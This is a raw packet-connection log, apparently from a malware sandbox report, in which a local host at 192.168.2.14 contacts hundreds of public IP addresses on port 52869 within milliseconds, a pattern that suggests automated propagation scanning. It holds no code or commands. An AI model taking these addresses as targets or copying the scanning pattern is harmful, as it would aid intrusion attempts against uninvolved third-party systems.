Jul 20, 2024 23:01:05.181888103 CEST	52869	49909	43.143.72.41	192.168.2.14
Jul 20, 2024 23:01:05.181885004 CEST	49909	52869	192.168.2.14	121.112.177.25
Jul 20, 2024 23:01:05.181916952 CEST	52869	49909	130.128.150.52	192.168.2.14
Jul 20, 2024 23:01:05.181945086 CEST	52869	49909	173.17.141.67	192.168.2.14
Jul 20, 2024 23:01:05.181972980 CEST	52869	49909	222.221.53.178	192.168.2.14
Jul 20, 2024 23:01:05.181999922 CEST	52869	49909	65.53.9.124	192.168.2.14
Jul 20, 2024 23:01:05.182027102 CEST	52869	49909	62.244.82.202	192.168.2.14
Jul 20, 2024 23:01:05.182056904 CEST	52869	49909	37.139.55.150	192.168.2.14
Jul 20, 2024 23:01:05.182085037 CEST	52869	49909	113.228.170.209	192.168.2.14
Jul 20, 2024 23:01:05.182111979 CEST	52869	49909	211.169.227.191	192.168.2.14
Jul 20, 2024 23:01:05.182138920 CEST	52869	49909	24.117.122.41	192.168.2.14
Jul 20, 2024 23:01:05.182166100 CEST	52869	49909	205.185.253.173	192.168.2.14
Jul 20, 2024 23:01:05.182193041 CEST	52869	49909	81.129.36.8	192.168.2.14
Jul 20, 2024 23:01:05.182219982 CEST	52869	49909	105.115.73.143	192.168.2.14
Jul 20, 2024 23:01:05.182246923 CEST	52869	49909	39.16.20.236	192.168.2.14
Jul 20, 2024 23:01:05.182274103 CEST	52869	49909	87.93.212.14	192.168.2.14
Jul 20, 2024 23:01:05.182301044 CEST	52869	49909	135.76.234.173	192.168.2.14
Jul 20, 2024 23:01:05.182329893 CEST	52869	49909	167.88.206.32	192.168.2.14
Jul 20, 2024 23:01:05.182357073 CEST	52869	49909	201.159.145.7	192.168.2.14
Jul 20, 2024 23:01:05.182383060 CEST	52869	49909	223.39.132.84	192.168.2.14
Jul 20, 2024 23:01:05.182410002 CEST	52869	49909	164.30.58.110	192.168.2.14
Jul 20, 2024 23:01:05.182436943 CEST	52869	49909	12.139.83.131	192.168.2.14
Jul 20, 2024 23:01:05.182462931 CEST	52869	49909	119.32.183.110	192.168.2.14
Jul 20, 2024 23:01:05.182492971 CEST	52869	49909	195.53.44.101	192.168.2.14
Jul 20, 2024 23:01:05.182526112 CEST	52869	49909	208.202.42.106	192.168.2.14
Jul 20, 2024 23:01:05.182553053 CEST	52869	49909	174.131.89.51	192.168.2.14
Jul 20, 2024 23:01:05.182583094 CEST	52869	49909	91.191.27.147	192.168.2.14
Jul 20, 2024 23:01:05.182610035 CEST	52869	49909	142.15.133.38	192.168.2.14
Jul 20, 2024 23:01:05.182636976 CEST	52869	49909	114.16.17.140	192.168.2.14
Jul 20, 2024 23:01:05.182665110 CEST	52869	49909	216.182.65.204	192.168.2.14
Jul 20, 2024 23:01:05.182691097 CEST	52869	49909	104.231.199.53	192.168.2.14
Jul 20, 2024 23:01:05.182718992 CEST	52869	49909	208.61.247.209	192.168.2.14
Jul 20, 2024 23:01:05.182745934 CEST	52869	49909	205.129.198.70	192.168.2.14
Jul 20, 2024 23:01:05.182771921 CEST	52869	49909	111.245.198.132	192.168.2.14
Jul 20, 2024 23:01:05.182799101 CEST	52869	49909	198.46.115.235	192.168.2.14
Jul 20, 2024 23:01:05.182826042 CEST	52869	49909	98.204.17.99	192.168.2.14
Jul 20, 2024 23:01:05.182852983 CEST	52869	49909	25.46.102.200	192.168.2.14
Jul 20, 2024 23:01:05.182879925 CEST	52869	49909	118.58.123.2	192.168.2.14
Jul 20, 2024 23:01:05.182905912 CEST	52869	49909	199.54.41.98	192.168.2.14
Jul 20, 2024 23:01:05.182934046 CEST	52869	49909	129.65.96.244	192.168.2.14
Jul 20, 2024 23:01:05.182960987 CEST	52869	49909	58.42.193.37	192.168.2.14
Jul 20, 2024 23:01:05.182986975 CEST	52869	49909	121.245.239.148	192.168.2.14
Jul 20, 2024 23:01:05.183015108 CEST	52869	49909	117.188.61.52	192.168.2.14
Jul 20, 2024 23:01:05.183041096 CEST	52869	49909	129.104.58.73	192.168.2.14
Jul 20, 2024 23:01:05.183069944 CEST	52869	49909	60.166.134.47	192.168.2.14
Jul 20, 2024 23:01:05.183098078 CEST	52869	49909	95.83.148.231	192.168.2.14
Jul 20, 2024 23:01:05.183128119 CEST	52869	49909	179.191.1.94	192.168.2.14
Jul 20, 2024 23:01:05.183161020 CEST	52869	49909	86.210.54.8	192.168.2.14
Jul 20, 2024 23:01:05.183188915 CEST	52869	49909	183.200.69.106	192.168.2.14
Jul 20, 2024 23:01:05.183216095 CEST	52869	49909	100.244.44.11	192.168.2.14
Jul 20, 2024 23:01:05.183243990 CEST	52869	49909	44.146.235.89	192.168.2.14
Jul 20, 2024 23:01:05.183270931 CEST	52869	49909	4.53.251.40	192.168.2.14
Jul 20, 2024 23:01:05.183298111 CEST	52869	49909	144.122.239.59	192.168.2.14
Jul 20, 2024 23:01:05.183326006 CEST	52869	49909	177.37.128.14	192.168.2.14
Jul 20, 2024 23:01:05.183353901 CEST	52869	49909	27.103.173.103	192.168.2.14
Jul 20, 2024 23:01:05.183381081 CEST	52869	49909	94.56.139.174	192.168.2.14
Jul 20, 2024 23:01:05.183410883 CEST	52869	49909	186.214.9.172	192.168.2.14
Jul 20, 2024 23:01:05.183438063 CEST	52869	49909	100.220.55.173	192.168.2.14
Jul 20, 2024 23:01:05.183465958 CEST	52869	49909	93.166.241.91	192.168.2.14
Jul 20, 2024 23:01:05.183492899 CEST	52869	49909	184.209.57.164	192.168.2.14
Jul 20, 2024 23:01:05.183521986 CEST	52869	49909	32.218.164.20	192.168.2.14
Jul 20, 2024 23:01:05.183547974 CEST	52869	49909	4.31.63.227	192.168.2.14
Jul 20, 2024 23:01:05.183574915 CEST	52869	49909	139.238.234.35	192.168.2.14
Jul 20, 2024 23:01:05.183603048 CEST	52869	49909	139.183.197.42	192.168.2.14
Jul 20, 2024 23:01:05.183631897 CEST	52869	49909	189.156.171.203	192.168.2.14
Jul 20, 2024 23:01:05.183659077 CEST	52869	49909	37.187.42.187	192.168.2.14
Jul 20, 2024 23:01:05.183686018 CEST	52869	49909	13.161.201.111	192.168.2.14
Jul 20, 2024 23:01:05.183712959 CEST	52869	49909	160.198.230.158	192.168.2.14
Jul 20, 2024 23:01:05.183720112 CEST	49909	52869	192.168.2.14	70.5.143.213
Jul 20, 2024 23:01:05.183720112 CEST	49909	52869	192.168.2.14	191.253.38.192
Jul 20, 2024 23:01:05.183720112 CEST	49909	52869	192.168.2.14	121.14.158.6
Jul 20, 2024 23:01:05.183720112 CEST	49909	52869	192.168.2.14	220.251.218.119
Jul 20, 2024 23:01:05.183721066 CEST	49909	52869	192.168.2.14	122.4.124.127
Jul 20, 2024 23:01:05.183721066 CEST	49909	52869	192.168.2.14	186.113.198.109
Jul 20, 2024 23:01:05.183721066 CEST	49909	52869	192.168.2.14	44.77.93.151
Jul 20, 2024 23:01:05.183721066 CEST	49909	52869	192.168.2.14	112.31.158.52
Jul 20, 2024 23:01:05.183739901 CEST	52869	49909	167.164.212.12	192.168.2.14
Jul 20, 2024 23:01:05.183772087 CEST	52869	49909	212.223.19.244	192.168.2.14
Jul 20, 2024 23:01:05.183809996 CEST	52869	49909	171.168.115.86	192.168.2.14
Jul 20, 2024 23:01:05.183837891 CEST	52869	49909	53.1.207.242	192.168.2.14
Jul 20, 2024 23:01:05.183857918 CEST	49909	52869	192.168.2.14	44.81.4.153
Jul 20, 2024 23:01:05.183857918 CEST	49909	52869	192.168.2.14	205.155.99.176
Jul 20, 2024 23:01:05.183857918 CEST	49909	52869	192.168.2.14	109.106.157.89
Jul 20, 2024 23:01:05.183857918 CEST	49909	52869	192.168.2.14	70.56.126.65
Jul 20, 2024 23:01:05.183857918 CEST	49909	52869	192.168.2.14	85.177.251.130
Jul 20, 2024 23:01:05.183857918 CEST	49909	52869	192.168.2.14	143.56.46.100
Jul 20, 2024 23:01:05.183857918 CEST	49909	52869	192.168.2.14	192.102.168.2
Jul 20, 2024 23:01:05.183857918 CEST	49909	52869	192.168.2.14	199.41.243.214
Jul 20, 2024 23:01:05.183866024 CEST	52869	49909	107.62.187.111	192.168.2.14
Jul 20, 2024 23:01:05.183893919 CEST	52869	49909	154.138.92.119	192.168.2.14
Jul 20, 2024 23:01:05.183922052 CEST	52869	49909	172.163.166.48	192.168.2.14
Jul 20, 2024 23:01:05.183949947 CEST	52869	49909	82.182.213.54	192.168.2.14
Jul 20, 2024 23:01:05.183979034 CEST	52869	49909	157.162.200.98	192.168.2.14
Jul 20, 2024 23:01:05.184006929 CEST	52869	49909	64.1.107.82	192.168.2.14
Jul 20, 2024 23:01:05.184034109 CEST	52869	49909	186.161.5.21	192.168.2.14
Jul 20, 2024 23:01:05.184061050 CEST	52869	49909	13.66.137.245	192.168.2.14
Jul 20, 2024 23:01:05.184088945 CEST	52869	49909	155.163.78.165	192.168.2.14
Jul 20, 2024 23:01:05.184117079 CEST	52869	49909	44.220.47.63	192.168.2.14
Jul 20, 2024 23:01:05.184145927 CEST	52869	49909	212.170.88.73	192.168.2.14
Jul 20, 2024 23:01:05.184173107 CEST	52869	49909	23.51.177.158	192.168.2.14
Jul 20, 2024 23:01:05.184200048 CEST	52869	49909	116.136.77.215	192.168.2.14
Jul 20, 2024 23:01:05.184226990 CEST	52869	49909	219.119.9.132	192.168.2.14
Jul 20, 2024 23:01:05.184253931 CEST	52869	49909	66.1.195.152	192.168.2.14
Jul 20, 2024 23:01:05.184283018 CEST	52869	49909	142.249.95.177	192.168.2.14
Jul 20, 2024 23:01:05.184312105 CEST	52869	49909	186.83.143.183	192.168.2.14
Jul 20, 2024 23:01:05.184366941 CEST	52869	49909	183.230.64.46	192.168.2.14
Jul 20, 2024 23:01:05.184393883 CEST	52869	49909	113.60.179.253	192.168.2.14
Jul 20, 2024 23:01:05.184423923 CEST	52869	49909	83.99.28.26	192.168.2.14
Jul 20, 2024 23:01:05.184461117 CEST	52869	49909	69.19.204.180	192.168.2.14
Jul 20, 2024 23:01:05.184479952 CEST	49909	52869	192.168.2.14	43.51.211.247
Jul 20, 2024 23:01:05.184479952 CEST	49909	52869	192.168.2.14	220.193.140.34
Jul 20, 2024 23:01:05.184479952 CEST	49909	52869	192.168.2.14	196.5.94.156
Jul 20, 2024 23:01:05.184479952 CEST	49909	52869	192.168.2.14	129.23.176.87
Jul 20, 2024 23:01:05.184479952 CEST	49909	52869	192.168.2.14	34.130.168.131
Jul 20, 2024 23:01:05.184479952 CEST	49909	52869	192.168.2.14	8.218.35.233
Jul 20, 2024 23:01:05.184484005 CEST	49909	52869	192.168.2.14	195.59.88.124
Jul 20, 2024 23:01:05.184484005 CEST	49909	52869	192.168.2.14	45.75.56.176
Jul 20, 2024 23:01:05.184505939 CEST	52869	49909	188.8.153.74	192.168.2.14
Jul 20, 2024 23:01:05.184535027 CEST	52869	49909	114.99.9.89	192.168.2.14
Jul 20, 2024 23:01:05.184562922 CEST	52869	49909	194.40.181.124	192.168.2.14
Jul 20, 2024 23:01:05.184591055 CEST	52869	49909	161.106.172.225	192.168.2.14
Jul 20, 2024 23:01:05.184617996 CEST	52869	49909	35.20.252.199	192.168.2.14
Jul 20, 2024 23:01:05.184644938 CEST	52869	49909	141.235.54.197	192.168.2.14
Jul 20, 2024 23:01:05.184674025 CEST	52869	49909	99.128.62.25	192.168.2.14
Jul 20, 2024 23:01:05.184700966 CEST	52869	49909	173.150.51.24	192.168.2.14
Jul 20, 2024 23:01:05.184727907 CEST	52869	49909	110.189.3.161	192.168.2.14
Jul 20, 2024 23:01:05.184761047 CEST	52869	49909	48.189.185.5	192.168.2.14
Jul 20, 2024 23:01:05.184787989 CEST	52869	49909	32.7.62.146	192.168.2.14
Jul 20, 2024 23:01:05.184818029 CEST	52869	49909	170.25.213.249	192.168.2.14
Jul 20, 2024 23:01:05.184844971 CEST	52869	49909	189.192.238.248	192.168.2.14
Jul 20, 2024 23:01:05.184871912 CEST	52869	49909	212.161.231.29	192.168.2.14
Jul 20, 2024 23:01:05.184900045 CEST	52869	49909	79.189.211.120	192.168.2.14
Jul 20, 2024 23:01:05.184927940 CEST	52869	49909	191.100.158.34	192.168.2.14
Jul 20, 2024 23:01:05.184956074 CEST	52869	49909	111.129.154.195	192.168.2.14
Jul 20, 2024 23:01:05.184983015 CEST	52869	49909	90.130.170.85	192.168.2.14
Jul 20, 2024 23:01:05.185009956 CEST	52869	49909	54.131.96.84	192.168.2.14
Jul 20, 2024 23:01:05.185038090 CEST	52869	49909	182.194.169.54	192.168.2.14
Jul 20, 2024 23:01:05.186455011 CEST	49200	8081	192.168.2.14	156.190.124.56
Jul 20, 2024 23:01:05.186455011 CEST	49909	52869	192.168.2.14	95.168.253.92
Jul 20, 2024 23:01:05.186455011 CEST	49909	52869	192.168.2.14	75.14.227.112
Jul 20, 2024 23:01:05.186455011 CEST	49909	52869	192.168.2.14	180.45.107.118
Jul 20, 2024 23:01:05.186455011 CEST	49909	52869	192.168.2.14	200.4.116.161
Jul 20, 2024 23:01:05.186455011 CEST	49909	52869	192.168.2.14	37.9.185.102
Jul 20, 2024 23:01:05.186455011 CEST	49909	52869	192.168.2.14	87.189.78.45
Jul 20, 2024 23:01:05.188858032 CEST	49909	52869	192.168.2.14	40.23.91.134
Jul 20, 2024 23:01:05.188858032 CEST	49909	52869	192.168.2.14	201.170.103.141
Jul 20, 2024 23:01:05.188858032 CEST	49909	52869	192.168.2.14	39.69.127.120
Jul 20, 2024 23:01:05.188858032 CEST	49909	52869	192.168.2.14	76.53.27.166
Jul 20, 2024 23:01:05.188858032 CEST	49909	52869	192.168.2.14	75.153.36.129
Jul 20, 2024 23:01:05.188858032 CEST	49909	52869	192.168.2.14	12.235.139.129
Jul 20, 2024 23:01:05.188858032 CEST	49909	52869	192.168.2.14	141.17.161.92
Jul 20, 2024 23:01:05.188858032 CEST	49909	52869	192.168.2.14	138.79.113.156
Jul 20, 2024 23:01:05.189192057 CEST	49909	52869	192.168.2.14	65.226.206.127
Jul 20, 2024 23:01:05.189192057 CEST	49909	52869	192.168.2.14	148.179.39.78
Jul 20, 2024 23:01:05.189192057 CEST	49909	52869	192.168.2.14	105.86.173.170
Jul 20, 2024 23:01:05.189192057 CEST	49909	52869	192.168.2.14	203.132.130.122
Jul 20, 2024 23:01:05.189192057 CEST	49909	52869	192.168.2.14	38.58.119.18
Jul 20, 2024 23:01:05.189192057 CEST	49909	52869	192.168.2.14	83.121.64.87
Jul 20, 2024 23:01:05.189192057 CEST	49909	52869	192.168.2.14	67.242.162.148
Jul 20, 2024 23:01:05.189192057 CEST	49909	52869	192.168.2.14	44.191.77.200
Jul 20, 2024 23:01:05.190093040 CEST	49909	52869	192.168.2.14	104.23.38.250
Jul 20, 2024 23:01:05.190093040 CEST	49909	52869	192.168.2.14	84.205.206.134
Jul 20, 2024 23:01:05.190093040 CEST	49909	52869	192.168.2.14	8.143.205.222
Jul 20, 2024 23:01:05.190093040 CEST	43902	52869	192.168.2.14	110.190.170.59
Jul 20, 2024 23:01:05.190093040 CEST	34412	80	192.168.2.14	88.235.97.216
Jul 20, 2024 23:01:05.190093040 CEST	49909	52869	192.168.2.14	160.234.153.88
Jul 20, 2024 23:01:05.190093040 CEST	49909	52869	192.168.2.14	43.146.245.183
Jul 20, 2024 23:01:05.190093040 CEST	49909	52869	192.168.2.14	103.116.144.94
Jul 20, 2024 23:01:05.190311909 CEST	49909	52869	192.168.2.14	37.253.201.160
Jul 20, 2024 23:01:05.190311909 CEST	49909	52869	192.168.2.14	198.100.76.211
Jul 20, 2024 23:01:05.190311909 CEST	49909	52869	192.168.2.14	31.22.183.58
Jul 20, 2024 23:01:05.190311909 CEST	49909	52869	192.168.2.14	71.90.2.192
Jul 20, 2024 23:01:05.190311909 CEST	49909	52869	192.168.2.14	166.44.197.136
Jul 20, 2024 23:01:05.190311909 CEST	49909	52869	192.168.2.14	149.97.75.135
Jul 20, 2024 23:01:05.190311909 CEST	49909	52869	192.168.2.14	110.17.198.51
Jul 20, 2024 23:01:05.190311909 CEST	49909	52869	192.168.2.14	60.79.52.246
Jul 20, 2024 23:01:05.190551996 CEST	52869	49909	131.110.13.188	192.168.2.14
Jul 20, 2024 23:01:05.190570116 CEST	52869	49909	31.215.144.232	192.168.2.14
Jul 20, 2024 23:01:05.190582037 CEST	52869	49909	17.199.127.167	192.168.2.14
Jul 20, 2024 23:01:05.190663099 CEST	52869	49909	150.154.95.243	192.168.2.14
Jul 20, 2024 23:01:05.190675974 CEST	52869	49909	34.54.151.38	192.168.2.14
Jul 20, 2024 23:01:05.190687895 CEST	52869	49909	147.154.192.124	192.168.2.14
Jul 20, 2024 23:01:05.190700054 CEST	52869	49909	195.17.211.43	192.168.2.14
Jul 20, 2024 23:01:05.190711975 CEST	52869	49909	24.1.25.55	192.168.2.14
Jul 20, 2024 23:01:05.190723896 CEST	52869	49909	109.200.150.125	192.168.2.14
Jul 20, 2024 23:01:05.190736055 CEST	52869	49909	18.53.198.50	192.168.2.14
Jul 20, 2024 23:01:05.190747023 CEST	52869	49909	38.25.48.248	192.168.2.14
Jul 20, 2024 23:01:05.190758944 CEST	52869	49909	217.176.17.32	192.168.2.14
Jul 20, 2024 23:01:05.190771103 CEST	52869	49909	105.17.199.80	192.168.2.14
Jul 20, 2024 23:01:05.190783024 CEST	52869	49909	17.127.75.160	192.168.2.14
Jul 20, 2024 23:01:05.190795898 CEST	52869	49909	99.236.233.228	192.168.2.14
Jul 20, 2024 23:01:05.190808058 CEST	52869	49909	141.61.184.214	192.168.2.14
Jul 20, 2024 23:01:05.190946102 CEST	49909	52869	192.168.2.14	175.198.253.27
Jul 20, 2024 23:01:05.190946102 CEST	49909	52869	192.168.2.14	222.94.225.183
Jul 20, 2024 23:01:05.190946102 CEST	49909	52869	192.168.2.14	74.53.10.45
Jul 20, 2024 23:01:05.190946102 CEST	49909	52869	192.168.2.14	141.239.135.111
Jul 20, 2024 23:01:05.190946102 CEST	49909	52869	192.168.2.14	198.227.19.209
Jul 20, 2024 23:01:05.190946102 CEST	49909	52869	192.168.2.14	130.233.166.84
Jul 20, 2024 23:01:05.190946102 CEST	49909	52869	192.168.2.14	195.27.121.109
Jul 20, 2024 23:01:05.190946102 CEST	49909	52869	192.168.2.14	104.175.3.45
Jul 20, 2024 23:01:05.192101955 CEST	52869	49909	184.177.53.149	192.168.2.14
Jul 20, 2024 23:01:05.192154884 CEST	52869	49909	113.196.250.71	192.168.2.14
Jul 20, 2024 23:01:05.192167997 CEST	52869	49909	140.33.61.63	192.168.2.14
Jul 20, 2024 23:01:05.192224979 CEST	52869	49909	23.211.174.15	192.168.2.14
Jul 20, 2024 23:01:05.192238092 CEST	52869	49909	8.25.158.124	192.168.2.14
Jul 20, 2024 23:01:05.192250013 CEST	52869	49909	106.235.106.45	192.168.2.14
Jul 20, 2024 23:01:05.192261934 CEST	52869	49909	102.200.150.83	192.168.2.14
Jul 20, 2024 23:01:05.192274094 CEST	52869	49909	133.136.117.24	192.168.2.14
Jul 20, 2024 23:01:05.192286015 CEST	52869	49909	60.70.3.55	192.168.2.14
Jul 20, 2024 23:01:05.192298889 CEST	52869	49909	202.48.116.134	192.168.2.14
Jul 20, 2024 23:01:05.192311049 CEST	52869	49909	188.15.62.114	192.168.2.14
Jul 20, 2024 23:01:05.192322969 CEST	52869	49909	98.85.187.52	192.168.2.14
Jul 20, 2024 23:01:05.192334890 CEST	52869	49909	180.137.187.65	192.168.2.14
Jul 20, 2024 23:01:05.192347050 CEST	52869	49909	51.107.159.10	192.168.2.14
Jul 20, 2024 23:01:05.192358971 CEST	52869	49909	92.86.214.31	192.168.2.14
Jul 20, 2024 23:01:05.192370892 CEST	52869	49909	217.203.74.212	192.168.2.14
Jul 20, 2024 23:01:05.192383051 CEST	52869	49909	92.173.106.240	192.168.2.14
Jul 20, 2024 23:01:05.192408085 CEST	52869	49909	198.86.214.44	192.168.2.14
Jul 20, 2024 23:01:05.192420006 CEST	52869	49909	220.250.43.126	192.168.2.14
Jul 20, 2024 23:01:05.192430973 CEST	52869	49909	172.95.92.119	192.168.2.14
Jul 20, 2024 23:01:05.192442894 CEST	52869	49909	20.29.28.88	192.168.2.14
Jul 20, 2024 23:01:05.192455053 CEST	52869	49909	102.44.243.156	192.168.2.14
Jul 20, 2024 23:01:05.192467928 CEST	52869	49909	119.130.41.69	192.168.2.14
Jul 20, 2024 23:01:05.192493916 CEST	52869	49909	43.235.72.144	192.168.2.14
Jul 20, 2024 23:01:05.192504883 CEST	52869	49909	27.244.252.93	192.168.2.14
Jul 20, 2024 23:01:05.192513943 CEST	49909	52869	192.168.2.14	204.46.85.1
Jul 20, 2024 23:01:05.192513943 CEST	49909	52869	192.168.2.14	2.200.2.185
Jul 20, 2024 23:01:05.192513943 CEST	49909	52869	192.168.2.14	188.123.100.200
Jul 20, 2024 23:01:05.192513943 CEST	49909	52869	192.168.2.14	202.40.219.63
Jul 20, 2024 23:01:05.192513943 CEST	49909	52869	192.168.2.14	190.138.126.165
Jul 20, 2024 23:01:05.192513943 CEST	49909	52869	192.168.2.14	62.159.184.30
Jul 20, 2024 23:01:05.192513943 CEST	49909	52869	192.168.2.14	206.66.80.130
Jul 20, 2024 23:01:05.192513943 CEST	49909	52869	192.168.2.14	98.223.144.187
Jul 20, 2024 23:01:05.192517996 CEST	52869	49909	60.41.89.134	192.168.2.14
Jul 20, 2024 23:01:05.192529917 CEST	52869	49909	184.159.135.176	192.168.2.14
Jul 20, 2024 23:01:05.192542076 CEST	52869	49909	126.197.204.144	192.168.2.14
Jul 20, 2024 23:01:05.192553997 CEST	52869	49909	211.94.53.51	192.168.2.14
Jul 20, 2024 23:01:05.192565918 CEST	52869	49909	101.29.13.188	192.168.2.14
Jul 20, 2024 23:01:05.192578077 CEST	52869	49909	74.211.33.136	192.168.2.14
Jul 20, 2024 23:01:05.192590952 CEST	52869	49909	220.254.255.149	192.168.2.14
Jul 20, 2024 23:01:05.192603111 CEST	52869	49909	70.5.143.213	192.168.2.14
Jul 20, 2024 23:01:05.192615032 CEST	52869	49909	44.81.4.153	192.168.2.14
Jul 20, 2024 23:01:05.192626953 CEST	52869	49909	190.245.118.15	192.168.2.14
Jul 20, 2024 23:01:05.192640066 CEST	52869	49909	37.0.70.219	192.168.2.14
Jul 20, 2024 23:01:05.192651987 CEST	52869	49909	180.167.117.211	192.168.2.14
Jul 20, 2024 23:01:05.192663908 CEST	52869	49909	205.155.99.176	192.168.2.14
Jul 20, 2024 23:01:05.192677975 CEST	52869	49909	191.253.38.192	192.168.2.14
Jul 20, 2024 23:01:05.192689896 CEST	52869	49909	31.141.176.161	192.168.2.14
Jul 20, 2024 23:01:05.192701101 CEST	52869	49909	109.106.157.89	192.168.2.14
Jul 20, 2024 23:01:05.192790031 CEST	52869	49909	121.14.158.6	192.168.2.14
Jul 20, 2024 23:01:05.192802906 CEST	52869	49909	167.104.68.83	192.168.2.14
Jul 20, 2024 23:01:05.192815065 CEST	52869	49909	220.251.218.119	192.168.2.14
Jul 20, 2024 23:01:05.192826986 CEST	52869	49909	65.62.163.155	192.168.2.14
Jul 20, 2024 23:01:05.192848921 CEST	52869	49909	70.56.126.65	192.168.2.14
Jul 20, 2024 23:01:05.192859888 CEST	52869	49909	122.4.124.127	192.168.2.14
Jul 20, 2024 23:01:05.192872047 CEST	52869	49909	85.177.251.130	192.168.2.14
Jul 20, 2024 23:01:05.192883968 CEST	52869	49909	86.50.252.3	192.168.2.14
Jul 20, 2024 23:01:05.192895889 CEST	52869	49909	143.56.46.100	192.168.2.14
Jul 20, 2024 23:01:05.192907095 CEST	52869	49909	9.82.131.248	192.168.2.14
Jul 20, 2024 23:01:05.192919970 CEST	52869	49909	17.53.104.31	192.168.2.14
Jul 20, 2024 23:01:05.192931890 CEST	52869	49909	8.112.72.58	192.168.2.14
Jul 20, 2024 23:01:05.192944050 CEST	52869	49909	116.57.101.150	192.168.2.14
Jul 20, 2024 23:01:05.192955971 CEST	52869	49909	60.255.146.10	192.168.2.14
Jul 20, 2024 23:01:05.192966938 CEST	52869	49909	43.51.211.247	192.168.2.14
Jul 20, 2024 23:01:05.192979097 CEST	52869	49909	87.96.32.169	192.168.2.14
Jul 20, 2024 23:01:05.193177938 CEST	52869	49909	221.54.61.91	192.168.2.14
Jul 20, 2024 23:01:05.193190098 CEST	52869	49909	190.93.202.150	192.168.2.14
Jul 20, 2024 23:01:05.193202972 CEST	52869	49909	220.193.140.34	192.168.2.14
Jul 20, 2024 23:01:05.193213940 CEST	52869	49909	186.113.198.109	192.168.2.14
Jul 20, 2024 23:01:05.193491936 CEST	52869	49909	44.77.93.151	192.168.2.14
Jul 20, 2024 23:01:05.193742037 CEST	52869	49909	95.168.253.92	192.168.2.14
Jul 20, 2024 23:01:05.194036007 CEST	52869	49909	192.102.168.2	192.168.2.14
Jul 20, 2024 23:01:05.194047928 CEST	52869	49909	75.14.227.112	192.168.2.14
Jul 20, 2024 23:01:05.194060087 CEST	52869	49909	199.41.243.214	192.168.2.14
Jul 20, 2024 23:01:05.194188118 CEST	49909	52869	192.168.2.14	151.201.97.102
Jul 20, 2024 23:01:05.194188118 CEST	49909	52869	192.168.2.14	46.76.84.240
Jul 20, 2024 23:01:05.194188118 CEST	49909	52869	192.168.2.14	35.129.134.57
Jul 20, 2024 23:01:05.194188118 CEST	49909	52869	192.168.2.14	79.60.75.89
Jul 20, 2024 23:01:05.194188118 CEST	49909	52869	192.168.2.14	79.183.7.209
Jul 20, 2024 23:01:05.194188118 CEST	49909	52869	192.168.2.14	64.249.135.120
Jul 20, 2024 23:01:05.194188118 CEST	49909	52869	192.168.2.14	53.25.250.98
Jul 20, 2024 23:01:05.194188118 CEST	49909	52869	192.168.2.14	205.151.43.170
Jul 20, 2024 23:01:05.194202900 CEST	52869	49909	68.26.110.69	192.168.2.14
Jul 20, 2024 23:01:05.194255114 CEST	52869	49909	121.112.177.25	192.168.2.14
Jul 20, 2024 23:01:05.194638968 CEST	52869	49909	126.147.96.210	192.168.2.14
Jul 20, 2024 23:01:05.194652081 CEST	52869	49909	196.5.94.156	192.168.2.14
Jul 20, 2024 23:01:05.194664955 CEST	52869	49909	71.108.66.198	192.168.2.14
Jul 20, 2024 23:01:05.194881916 CEST	52869	49909	65.226.206.127	192.168.2.14
Jul 20, 2024 23:01:05.195034027 CEST	52869	49909	206.51.158.23	192.168.2.14
Jul 20, 2024 23:01:05.195081949 CEST	52869	49909	31.224.15.77	192.168.2.14
Jul 20, 2024 23:01:05.195112944 CEST	52869	49909	129.23.176.87	192.168.2.14
Jul 20, 2024 23:01:05.195125103 CEST	52869	49909	82.68.74.176	192.168.2.14
Jul 20, 2024 23:01:05.195158005 CEST	52869	49909	34.130.168.131	192.168.2.14
Jul 20, 2024 23:01:05.195430994 CEST	52869	49909	36.182.8.231	192.168.2.14
Jul 20, 2024 23:01:05.195609093 CEST	52869	49909	8.218.35.233	192.168.2.14
Jul 20, 2024 23:01:05.196351051 CEST	52869	49909	148.179.39.78	192.168.2.14
Jul 20, 2024 23:01:05.196365118 CEST	52869	49909	180.45.107.118	192.168.2.14
Jul 20, 2024 23:01:05.196441889 CEST	52869	49909	112.31.158.52	192.168.2.14
Jul 20, 2024 23:01:05.197298050 CEST	52869	49909	104.23.38.250	192.168.2.14
Jul 20, 2024 23:01:05.197339058 CEST	52869	49909	170.159.65.191	192.168.2.14
Jul 20, 2024 23:01:05.197350979 CEST	52869	49909	200.4.116.161	192.168.2.14
Jul 20, 2024 23:01:05.197693110 CEST	52869	49909	105.86.173.170	192.168.2.14
Jul 20, 2024 23:01:05.197705984 CEST	52869	49909	195.59.88.124	192.168.2.14
Jul 20, 2024 23:01:05.197717905 CEST	52869	49909	37.253.201.160	192.168.2.14
Jul 20, 2024 23:01:05.197773933 CEST	49909	52869	192.168.2.14	149.226.29.145
Jul 20, 2024 23:01:05.197773933 CEST	49909	52869	192.168.2.14	85.129.106.84
Jul 20, 2024 23:01:05.197773933 CEST	49909	52869	192.168.2.14	175.183.122.64
Jul 20, 2024 23:01:05.197773933 CEST	49909	52869	192.168.2.14	99.175.215.170
Jul 20, 2024 23:01:05.197773933 CEST	49909	52869	192.168.2.14	140.41.150.3
Jul 20, 2024 23:01:05.197773933 CEST	49909	52869	192.168.2.14	152.82.76.143
Jul 20, 2024 23:01:05.197773933 CEST	49909	52869	192.168.2.14	86.87.254.178
Jul 20, 2024 23:01:05.197773933 CEST	49909	52869	192.168.2.14	105.163.125.86
Jul 20, 2024 23:01:05.197993040 CEST	49909	52869	192.168.2.14	117.149.29.28
Jul 20, 2024 23:01:05.197993040 CEST	49909	52869	192.168.2.14	82.243.184.96
Jul 20, 2024 23:01:05.197993040 CEST	49909	52869	192.168.2.14	89.74.2.16
Jul 20, 2024 23:01:05.197993040 CEST	49909	52869	192.168.2.14	136.250.155.100
Jul 20, 2024 23:01:05.197993040 CEST	49909	52869	192.168.2.14	89.0.143.198
Jul 20, 2024 23:01:05.197993040 CEST	49909	52869	192.168.2.14	64.159.124.254
Jul 20, 2024 23:01:05.197993040 CEST	49909	52869	192.168.2.14	69.41.205.184
Jul 20, 2024 23:01:05.197993040 CEST	49909	52869	192.168.2.14	76.218.15.212
Jul 20, 2024 23:01:05.198105097 CEST	52869	49909	40.23.91.134	192.168.2.14
Jul 20, 2024 23:01:05.198395014 CEST	52869	49909	203.132.130.122	192.168.2.14
Jul 20, 2024 23:01:05.198407888 CEST	52869	49909	45.75.56.176	192.168.2.14
Jul 20, 2024 23:01:05.198421001 CEST	52869	49909	198.100.76.211	192.168.2.14
Jul 20, 2024 23:01:05.198602915 CEST	49909	52869	192.168.2.14	24.64.227.107
Jul 20, 2024 23:01:05.198602915 CEST	49909	52869	192.168.2.14	204.200.102.242
